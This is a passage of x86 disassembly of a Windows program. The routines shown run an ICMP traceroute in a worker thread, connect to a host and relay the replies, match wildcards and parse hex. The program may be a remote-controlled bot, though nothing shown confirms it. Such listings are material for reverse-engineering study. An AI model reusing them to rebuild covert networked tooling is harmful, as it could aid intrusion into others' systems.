		call	sub_403E60
		push	esi
		push	offset sub_406993
		call	sub_406541
		add	esp, 10h
		test	eax, eax
		jnz	short loc_406AB4
		push	esi
		call	sub_410832	; free
		pop	ecx


loc_406AB4:				; CODE XREF: sub_406A80+Ej
					; sub_406A80+2Bj
		pop	esi
		retn
sub_406A80	endp


; =============== S U B	R O U T	I N E =======================================



sub_406AB6	proc near		; CODE XREF: sub_403E9B+6p
					; sub_40647C+1Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	18h
		push	0
		push	esi
		call	sub_410850	; memset
		mov	eax, dword_417B70
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_406ADB
		push	80000400h
		push	esi
		call	eax	; InitializeCriticalSectionAndSpinCount
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_406ADB:				; CODE XREF: sub_406AB6+19j
		push	esi
		call	ds:dword_4110E8	; InitializeCriticalSection
		pop	esi
		retn
sub_406AB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_406AE4	proc near		; CODE XREF: sub_403F1D+11p
					; sub_40663C+Cp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_4110EC	; RtlEnterCriticalSection
		retn
sub_406AE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_406AEF	proc near		; CODE XREF: sub_403F1D+20Ep
					; sub_40663C+10Ap ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_4110F4	; RtlLeaveCriticalSection
		retn
sub_406AEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AFA	proc near		; CODE XREF: sub_40287C+13p
					; sub_40CA47+44Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xadd [esi], eax
		pop	esi
		pop	ebp
		retn
sub_406AFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B0B	proc near		; CODE XREF: sub_4032EF+14p
					; sub_4032EF+20p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xchg eax, [esi]
		pop	esi
		pop	ebp
		retn
sub_406B0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B1B	proc near		; CODE XREF: sub_406BE0+13Bp

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		call	dword_41802C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_406B3E
		push	offset aCouldNotGetAVa ; "Could	not get	a valid	ICMP handle\n"
		call	sub_410AE8	; printf
		pop	ecx
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_406B3E:				; CODE XREF: sub_406B1B+12j
		push	ebx
		push	esi
		push	edi
		push	8
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		call	sub_410850	; memset
		movzx	esi, [ebp+arg_10]
		mov	al, [ebp+arg_8]
		push	esi
		mov	[ebp+var_C], al
		call	sub_410AE2
		mov	ebx, eax
		push	esi
		push	45h
		push	ebx
		call	sub_410850	; memset
		add	esp, 1Ch
		cmp	[ebp+arg_10], 8
		jnb	short loc_406B77
		push	8
		pop	eax
		jmp	short loc_406B79
; ---------------------------------------------------------------------------


loc_406B77:				; CODE XREF: sub_406B1B+55j
		mov	eax, esi


loc_406B79:				; CODE XREF: sub_406B1B+5Aj
		lea	esi, [eax+1Ch]
		push	esi
		call	sub_410AE2
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_C]
		push	esi
		push	edi
		push	eax
		movzx	ax, [ebp+arg_10]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	dword_418038
		cmp	eax, 1
		jz	short loc_406BB3
		call	ds:dword_41106C	; RtlGetLastWin32Error
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_406BC1
; ---------------------------------------------------------------------------


loc_406BB3:				; CODE XREF: sub_406B1B+89j
		mov	eax, [ebp+arg_4]
		mov	ecx, [edi]
		mov	[eax+4], ecx
		mov	ecx, [edi+8]
		mov	[eax+8], ecx


loc_406BC1:				; CODE XREF: sub_406B1B+96j
		push	[ebp+var_4]
		call	dword_418034
		push	ebx
		call	sub_410ADC
		push	edi
		call	sub_410ADC
		pop	ecx
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406B1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406BE0	proc near		; DATA XREF: sub_406E50+C9o

var_2D8		= byte ptr -2D8h
var_135		= byte ptr -135h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D8h
		push	ebx
		push	esi
		push	edi
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		xor	ebx, ebx
		add	esp, 10h
		cmp	byte_418040, bl
		jnz	short loc_406C6B
		push	offset aIcmp_dll ; "ICMP.DLL"
		call	ds:dword_41105C	; LoadLibraryA
		cmp	eax, ebx
		mov	dword_418030, eax
		jz	loc_406E0F
		mov	esi, ds:dword_411060
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		mov	dword_41802C, eax
		push	dword_418030
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		mov	dword_418038, eax
		push	dword_418030
		call	esi	; GetProcAddress
		mov	dword_418034, eax
		mov	byte_418040, 1


loc_406C6B:				; CODE XREF: sub_406BE0+33j
		cmp	dword_41802C, ebx
		jz	loc_406E0F
		cmp	dword_418038, ebx
		jz	loc_406E0F
		cmp	dword_418034, ebx
		jz	loc_406E0F
		lea	eax, [ebp+var_135]
		push	eax
		call	ds:dword_411254	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		jnz	short loc_406CCF
		lea	eax, [ebp+var_135]
		push	eax
		call	ds:dword_41124C	; gethostbyname
		cmp	eax, ebx
		jz	loc_406D4A
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_410838	; memcpy
		add	esp, 0Ch


loc_406CCF:				; CODE XREF: sub_406BE0+C2j
		cmp	[ebp+var_35], 1
		mov	[ebp+var_20], ebx
		mov	byte ptr [ebp+arg_0], 1
		jb	loc_406E0F


loc_406CE0:				; CODE XREF: sub_406BE0+229j
		cmp	[ebp+var_20], ebx
		jnz	loc_406E0F
		or	[ebp+var_C], 0FFFFFFFFh
		xor	esi, esi
		xor	edi, edi
		cmp	[ebp+var_30], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], ebx
		jbe	short loc_406D66


loc_406D08:				; CODE XREF: sub_406BE0+184j
		cmp	esi, ebx
		jnz	short loc_406D66
		push	20h
		lea	eax, [ebp+var_2C]
		push	[ebp+var_34]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_18]
		call	sub_406B1B
		add	esp, 14h
		test	eax, eax
		jz	loc_406E0F
		mov	eax, [ebp+var_2C]
		cmp	eax, ebx
		jnz	short loc_406D5A
		mov	eax, [ebp+var_24]
		add	[ebp+var_1C], eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_406D40
		mov	[ebp+var_C], eax


loc_406D40:				; CODE XREF: sub_406BE0+15Bj
		cmp	eax, [ebp+var_4]
		jbe	short loc_406D60
		mov	[ebp+var_4], eax
		jmp	short loc_406D60
; ---------------------------------------------------------------------------


loc_406D4A:				; CODE XREF: sub_406BE0+D3j
		push	offset aCouldNotResolv ; "Could	not resolve name"
		call	sub_410AE8	; printf
		pop	ecx
		jmp	loc_406E0F
; ---------------------------------------------------------------------------


loc_406D5A:				; CODE XREF: sub_406BE0+150j
		push	1
		mov	[ebp+var_14], eax
		pop	esi


loc_406D60:				; CODE XREF: sub_406BE0+163j
					; sub_406BE0+168j
		inc	edi
		cmp	edi, [ebp+var_30]
		jb	short loc_406D08


loc_406D66:				; CODE XREF: sub_406BE0+126j
					; sub_406BE0+12Aj
		mov	eax, [ebp+var_28]
		cmp	[ebp+var_14], ebx
		mov	[ebp+var_10], eax
		jnz	short loc_406DCC
		mov	eax, [ebp+var_1C]
		xor	edx, edx
		div	[ebp+var_30]
		push	2
		push	4
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_411234	; gethostbyaddr
		cmp	eax, ebx
		jz	loc_406E18
		movzx	ecx, byte ptr [ebp+var_10+3]
		push	ecx
		movzx	ecx, byte ptr [ebp+var_10+2]
		push	ecx
		movzx	ecx, byte ptr [ebp+var_10+1]
		push	ecx
		movzx	ecx, byte ptr [ebp+var_10]
		push	ecx
		push	dword ptr [eax]
		movzx	eax, byte ptr [ebp+arg_0]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_413560
		push	eax
		call	sub_408D50
		add	esp, 2Ch
		jmp	short loc_406DF1
; ---------------------------------------------------------------------------


loc_406DCC:				; CODE XREF: sub_406BE0+18Fj
		movzx	eax, byte ptr [ebp+arg_0]
		push	[ebp+var_14]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_413538
		push	eax
		call	sub_408D50
		add	esp, 10h


loc_406DF1:				; CODE XREF: sub_406BE0+1EAj
					; sub_406BE0+26Ej
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_10]
		jnz	short loc_406E00
		mov	[ebp+var_20], 1


loc_406E00:				; CODE XREF: sub_406BE0+217j
		inc	byte ptr [ebp+arg_0]
		mov	al, byte ptr [ebp+arg_0]
		cmp	al, [ebp+var_35]
		jbe	loc_406CE0


loc_406E0F:				; CODE XREF: sub_406BE0+47j
					; sub_406BE0+91j ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_406E18:				; CODE XREF: sub_406BE0+1ACj
		movzx	eax, byte ptr [ebp+var_10+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_10+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_10+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_10]
		push	eax
		push	[ebp+var_4]
		movzx	eax, byte ptr [ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_41350C
		push	eax
		call	sub_408D50
		add	esp, 28h
		jmp	short loc_406DF1
sub_406BE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E50	proc near		; CODE XREF: sub_40735A+744p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_4], edi
		jnz	short loc_406E71
		push	offset unk_4135E4
		push	[ebp+arg_0]
		call	sub_408D50
		pop	ecx


loc_406E6B:				; CODE XREF: sub_406E50+E0j
		pop	ecx
		jmp	loc_406F3C
; ---------------------------------------------------------------------------


loc_406E71:				; CODE XREF: sub_406E50+Bj
		push	2ACh
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_406F3C
		push	1A3h
		push	[ebp+arg_0]
		push	esi
		call	sub_410838	; memcpy
		push	[ebp+arg_4]
		lea	eax, [esi+1A3h]
		push	eax
		call	sub_410820	; _mbscpy
		add	esp, 14h
		cmp	[ebp+arg_8], edi
		jz	short loc_406EC6
		push	[ebp+arg_8]
		call	sub_41088C	; atoi
		cmp	eax, 0FFh
		pop	ecx
		jg	short loc_406EC6
		push	[ebp+arg_8]
		call	sub_41088C	; atoi
		pop	ecx
		jmp	short loc_406EC9
; ---------------------------------------------------------------------------


loc_406EC6:				; CODE XREF: sub_406E50+59j
					; sub_406E50+69j
		push	1Eh
		pop	eax


loc_406EC9:				; CODE XREF: sub_406E50+74j
		cmp	[ebp+arg_C], edi
		mov	[esi+2A3h], al
		jz	short loc_406EEF
		push	[ebp+arg_C]
		call	sub_41088C	; atoi
		cmp	eax, 927C0h
		pop	ecx
		jg	short loc_406EEF
		push	[ebp+arg_C]
		call	sub_41088C	; atoi
		pop	ecx
		jmp	short loc_406EF4
; ---------------------------------------------------------------------------


loc_406EEF:				; CODE XREF: sub_406E50+82j
					; sub_406E50+92j
		mov	eax, 7530h


loc_406EF4:				; CODE XREF: sub_406E50+9Dj
		cmp	[ebp+arg_10], edi
		mov	[esi+2A4h], eax
		jz	short loc_406F0A
		push	[ebp+arg_10]
		call	sub_41088C	; atoi
		pop	ecx
		jmp	short loc_406F0D
; ---------------------------------------------------------------------------


loc_406F0A:				; CODE XREF: sub_406E50+ADj
		push	3
		pop	eax


loc_406F0D:				; CODE XREF: sub_406E50+B8j
		mov	[esi+2A8h], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	esi
		push	offset sub_406BE0
		push	edi
		push	edi
		call	ds:dword_4110BC	; CreateThread
		cmp	eax, edi
		jnz	short loc_406F35
		push	esi
		call	sub_410832	; free
		jmp	loc_406E6B
; ---------------------------------------------------------------------------


loc_406F35:				; CODE XREF: sub_406E50+D8j
		push	eax
		call	ds:dword_4110AC	; CloseHandle


loc_406F3C:				; CODE XREF: sub_406E50+1Cj
					; sub_406E50+30j
		pop	edi
		pop	esi
		leave
		retn
sub_406E50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406F40	proc near		; CODE XREF: sub_40708B+2Cp

var_1108	= byte ptr -1108h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1108h
		call	sub_4108B0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	ecx, [esi]
		lea	ebx, [esi+4]
		lea	edi, [esi+104h]
		push	ebx
		push	edi
		lea	eax, [esi+204h]
		push	dword ptr [ecx]
		push	offset dword_413638
		push	eax
		call	sub_408D50
		push	2710h
		push	0
		push	offset dword_413634
		push	edi
		call	sub_403BBB
		mov	edi, eax
		add	esp, 24h
		test	edi, edi
		mov	[ebp+var_4], edi
		jnz	short loc_406F98
		xor	al, al
		jmp	loc_407086
; ---------------------------------------------------------------------------


loc_406F98:				; CODE XREF: sub_406F40+4Fj
		push	ebx
		lea	eax, [ebp+var_108]
		push	offset dword_41362C
		push	eax
		call	ds:dword_4111EC	; wsprintfA
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_410826	; strlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	edi
		call	sub_403D54
		add	esp, 1Ch
		test	eax, eax
		jz	loc_407079
		lea	eax, [ebp+var_1108]
		push	1000h
		push	eax
		push	edi
		call	sub_403D69
		add	esp, 0Ch
		test	eax, eax
		jz	loc_407079
		cmp	eax, 0FFFFFFFFh
		jz	loc_407079
		cmp	[ebp+var_1108],	0
		lea	ebx, [ebp+var_1108]
		jz	short loc_407075
		mov	edi, offset dword_418008


loc_40700B:				; CODE XREF: sub_406F40+133j
		push	ebx
		call	sub_40535A
		cmp	byte ptr [ebx],	0
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_40702E
		push	offset dword_412F18
		push	ebx
		call	sub_410AEE	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40702E
		push	ebx
		jmp	short loc_40703D
; ---------------------------------------------------------------------------


loc_40702E:				; CODE XREF: sub_406F40+D8j
					; sub_406F40+E9j
		lea	eax, [ebp+var_1108]
		cmp	ebx, eax
		jz	short loc_40704B
		push	offset dword_413628


loc_40703D:				; CODE XREF: sub_406F40+ECj
		lea	eax, [esi+204h]
		push	eax
		call	sub_408D50
		pop	ecx
		pop	ecx


loc_40704B:				; CODE XREF: sub_406F40+F6j
		push	3E8h
		call	ds:dword_4110A4	; Sleep
		push	edi
		call	sub_406AE4
		mov	eax, [esi]
		push	edi
		mov	ebx, [eax+4]
		call	sub_406AEF
		pop	ecx
		test	ebx, ebx
		pop	ecx
		jnz	short loc_407075
		mov	ebx, [ebp+arg_0]
		cmp	byte ptr [ebx],	0
		jnz	short loc_40700B


loc_407075:				; CODE XREF: sub_406F40+C4j
					; sub_406F40+12Bj
		mov	bl, 1
		jmp	short loc_40707B
; ---------------------------------------------------------------------------


loc_407079:				; CODE XREF: sub_406F40+8Bj
					; sub_406F40+A8j ...
		xor	bl, bl


loc_40707B:				; CODE XREF: sub_406F40+137j
					; DATA XREF: .data:00414C94o ...
		push	[ebp+var_4]
		call	sub_403D27
		pop	ecx
		mov	al, bl


loc_407086:				; CODE XREF: sub_406F40+53j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406F40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40708B	proc near		; DATA XREF: sub_4070F0+87o

var_3A8		= dword	ptr -3A8h
var_2A4		= byte ptr -2A4h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3A8h
		push	3A7h
		lea	eax, [ebp+var_3A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_406F40
		add	esp, 14h
		test	al, al
		jnz	short loc_4070DE
		lea	eax, [ebp+var_2A4]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	offset dword_413664
		push	eax
		call	sub_408D50
		add	esp, 0Ch


loc_4070DE:				; CODE XREF: sub_40708B+36j
		push	[ebp+var_3A8]
		call	sub_406753
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40708B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4070F0	proc near		; CODE XREF: sub_40735A+763p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	esi
		jz	loc_407184
		push	3A7h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_407184
		push	[ebp+arg_4]
		lea	eax, [esi+4]
		push	eax
		call	sub_410820	; _mbscpy
		cmp	[ebp+arg_8], 0
		pop	ecx
		pop	ecx
		jz	short loc_407136
		push	[ebp+arg_8]
		lea	eax, [esi+104h]
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407152
; ---------------------------------------------------------------------------


loc_407136:				; CODE XREF: sub_4070F0+31j
		push	edi
		lea	edi, [esi+104h]
		push	offset dword_4136A0
		push	edi
		call	sub_410820	; _mbscpy
		push	edi
		call	sub_40AC4E
		add	esp, 0Ch
		pop	edi


loc_407152:				; CODE XREF: sub_4070F0+44j
		push	1A3h
		lea	eax, [esi+204h]
		push	[ebp+arg_0]
		push	eax
		call	sub_410838	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_413680
		push	0
		push	esi
		push	offset sub_40708B
		call	sub_40663C
		add	esp, 18h


loc_407184:				; CODE XREF: sub_4070F0+8j
					; sub_4070F0+1Dj
		pop	esi
		pop	ebp
		retn
sub_4070F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_407187	proc near		; CODE XREF: sub_407187+51p
					; sub_4098BB+125p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_407191:				; CODE XREF: sub_407187+1Cj
					; sub_407187+41j
		mov	dl, [esi]
		mov	cl, [eax]
		test	dl, dl
		jnz	short loc_4071A5
		test	cl, cl
		jz	short loc_4071CA
		cmp	cl, 2Ah
		jnz	short loc_4071EA
		inc	eax
		jmp	short loc_407191
; ---------------------------------------------------------------------------


loc_4071A5:				; CODE XREF: sub_407187+10j
		test	cl, cl
		jz	short loc_4071EA
		cmp	dl, cl
		jz	short loc_4071C6
		cmp	cl, 3Fh
		jz	short loc_4071C6
		cmp	cl, 23h
		jnz	short loc_4071CE
		cmp	dl, 30h
		jl	short loc_4071C1
		cmp	dl, 39h
		jle	short loc_4071C6


loc_4071C1:				; CODE XREF: sub_407187+33j
		cmp	dl, 23h
		jnz	short loc_4071EA


loc_4071C6:				; CODE XREF: sub_407187+24j
					; sub_407187+29j ...
		inc	eax
		inc	esi
		jmp	short loc_407191
; ---------------------------------------------------------------------------


loc_4071CA:				; CODE XREF: sub_407187+14j
					; sub_407187+5Aj
		mov	al, 1
		jmp	short loc_4071EC
; ---------------------------------------------------------------------------


loc_4071CE:				; CODE XREF: sub_407187+2Ej
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_4071EA
		lea	edi, [eax+1]


loc_4071D6:				; CODE XREF: sub_407187+61j
		push	edi
		push	esi
		call	sub_407187
		pop	ecx
		test	al, al
		pop	ecx
		jnz	short loc_4071CA
		cmp	[esi], al
		jz	short loc_4071EA
		inc	esi
		jmp	short loc_4071D6
; ---------------------------------------------------------------------------


loc_4071EA:				; CODE XREF: sub_407187+19j
					; sub_407187+20j ...
		xor	al, al


loc_4071EC:				; CODE XREF: sub_407187+45j
		pop	edi
		pop	esi
		retn
sub_407187	endp


; =============== S U B	R O U T	I N E =======================================



sub_4071EF	proc near		; CODE XREF: sub_40678D+A5p
					; sub_406868+D0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi


loc_4071FA:				; CODE XREF: sub_4071EF+1Dj
					; sub_4071EF+61j
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_40720E
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_407252
		cmp	cl, 2Ah
		jnz	short loc_407272
		inc	eax
		jmp	short loc_4071FA
; ---------------------------------------------------------------------------


loc_40720E:				; CODE XREF: sub_4071EF+Fj
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_407272
		cmp	cl, dl
		jz	short loc_40724E
		cmp	cl, 41h
		jl	short loc_407222
		cmp	cl, 5Ah
		jle	short loc_40722C


loc_407222:				; CODE XREF: sub_4071EF+2Cj
		cmp	cl, 61h
		jl	short loc_407235
		cmp	cl, 7Ah
		jg	short loc_407235


loc_40722C:				; CODE XREF: sub_4071EF+31j
		mov	bl, cl
		xor	bl, 20h
		cmp	bl, dl
		jz	short loc_40724E


loc_407235:				; CODE XREF: sub_4071EF+36j
					; sub_4071EF+3Bj
		cmp	dl, 3Fh
		jz	short loc_40724E
		cmp	dl, 23h
		jnz	short loc_407256
		cmp	cl, 30h
		jl	short loc_407249
		cmp	cl, 39h
		jle	short loc_40724E


loc_407249:				; CODE XREF: sub_4071EF+53j
		cmp	cl, 23h
		jnz	short loc_407272


loc_40724E:				; CODE XREF: sub_4071EF+27j
					; sub_4071EF+44j ...
		inc	eax
		inc	esi
		jmp	short loc_4071FA
; ---------------------------------------------------------------------------


loc_407252:				; CODE XREF: sub_4071EF+15j
					; sub_4071EF+7Aj
		mov	al, 1
		jmp	short loc_407274
; ---------------------------------------------------------------------------


loc_407256:				; CODE XREF: sub_4071EF+4Ej
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_407272
		lea	edi, [eax+1]


loc_40725E:				; CODE XREF: sub_4071EF+81j
		push	edi
		push	esi
		call	sub_4071EF
		pop	ecx
		test	al, al
		pop	ecx
		jnz	short loc_407252
		cmp	[esi], al
		jz	short loc_407272
		inc	esi
		jmp	short loc_40725E
; ---------------------------------------------------------------------------


loc_407272:				; CODE XREF: sub_4071EF+1Aj
					; sub_4071EF+23j ...
		xor	al, al


loc_407274:				; CODE XREF: sub_4071EF+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4071EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_407278	proc near		; CODE XREF: sub_407290+A4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	1
		test	ecx, ecx
		pop	eax
		jz	short locret_40728F
		cmp	ecx, eax
		jl	short locret_40728F


loc_407287:				; CODE XREF: sub_407278+15j
		imul	eax, [esp+arg_0]
		dec	ecx
		jnz	short loc_407287

locret_40728F:				; CODE XREF: sub_407278+9j
					; sub_407278+Dj
		retn
sub_407278	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407290	proc near		; CODE XREF: sub_404240+27p
					; sub_40735A+C7Dp ...

var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aAbcdef ; "abcdef"
		lea	edi, [ebp+var_18]
		xor	ebx, ebx
		movsd
		movsw
		movsb
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		cmp	byte ptr [esi],	30h
		jnz	short loc_4072C6
		mov	al, [esi+1]
		push	1
		cmp	al, 78h
		pop	ebx
		jz	short loc_4072C3
		cmp	al, 58h
		jnz	short loc_4072C6


loc_4072C3:				; CODE XREF: sub_407290+2Dj
		push	2
		pop	ebx


loc_4072C6:				; CODE XREF: sub_407290+23j
					; sub_407290+31j
		push	esi
		call	sub_410826	; strlen
		mov	edi, eax
		pop	ecx
		cmp	ebx, edi
		mov	[ebp+var_10], edi
		mov	[ebp+arg_0], ebx
		jge	short loc_40734E
		sub	edi, ebx
		dec	edi


loc_4072DC:				; CODE XREF: sub_407290+BCj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+esi]
		push	eax
		call	sub_410AF4	; tolower
		cmp	eax, 30h
		pop	ecx
		mov	[ebp+var_C], eax
		jl	short loc_4072FF
		cmp	eax, 39h
		jg	short loc_4072FF
		add	eax, 0FFFFFFD0h
		mov	[ebp+var_4], eax
		jmp	short loc_407331
; ---------------------------------------------------------------------------


loc_4072FF:				; CODE XREF: sub_407290+60j
					; sub_407290+65j
		cmp	eax, 61h
		jl	short loc_407356
		cmp	eax, 66h
		jg	short loc_407356
		mov	dl, [ebp+var_18]
		test	dl, dl
		jz	short loc_407331
		push	0Ah
		lea	eax, [ebp+var_18]
		pop	ebx
		lea	ecx, [ebp+var_18]
		sub	ebx, eax


loc_40731B:				; CODE XREF: sub_407290+9Fj
		movsx	eax, dl
		cmp	[ebp+var_C], eax
		jnz	short loc_407329
		lea	eax, [ebx+ecx]
		mov	[ebp+var_4], eax


loc_407329:				; CODE XREF: sub_407290+91j
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jnz	short loc_40731B


loc_407331:				; CODE XREF: sub_407290+6Dj
					; sub_407290+7Ej
		push	edi
		push	10h
		call	sub_407278
		imul	eax, [ebp+var_4]
		add	[ebp+var_8], eax
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		pop	ecx
		dec	edi
		cmp	eax, [ebp+var_10]
		pop	ecx
		jl	short loc_4072DC


loc_40734E:				; CODE XREF: sub_407290+47j
		mov	eax, [ebp+var_8]


loc_407351:				; CODE XREF: sub_407290+C8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_407356:				; CODE XREF: sub_407290+72j
					; sub_407290+77j
		xor	eax, eax
		jmp	short loc_407351
sub_407290	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40735A	proc near		; CODE XREF: sub_408F9D+911p

var_59AC	= byte ptr -59ACh
var_19AC	= byte ptr -19ACh
var_9AC		= byte ptr -9ACh
var_5A8		= byte ptr -5A8h
var_528		= byte ptr -528h
var_3A8		= byte ptr -3A8h
var_384		= byte ptr -384h
var_363		= byte ptr -363h
var_360		= byte ptr -360h
var_2E4		= byte ptr -2E4h
var_1E0		= byte ptr -1E0h
var_1BC		= byte ptr -1BCh
var_19B		= byte ptr -19Bh
var_9B		= dword	ptr -9Bh
var_97		= byte ptr -97h
var_31		= byte ptr -31h
var_23		= byte ptr -23h
var_20		= byte ptr -20h
var_1D		= dword	ptr -1Dh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
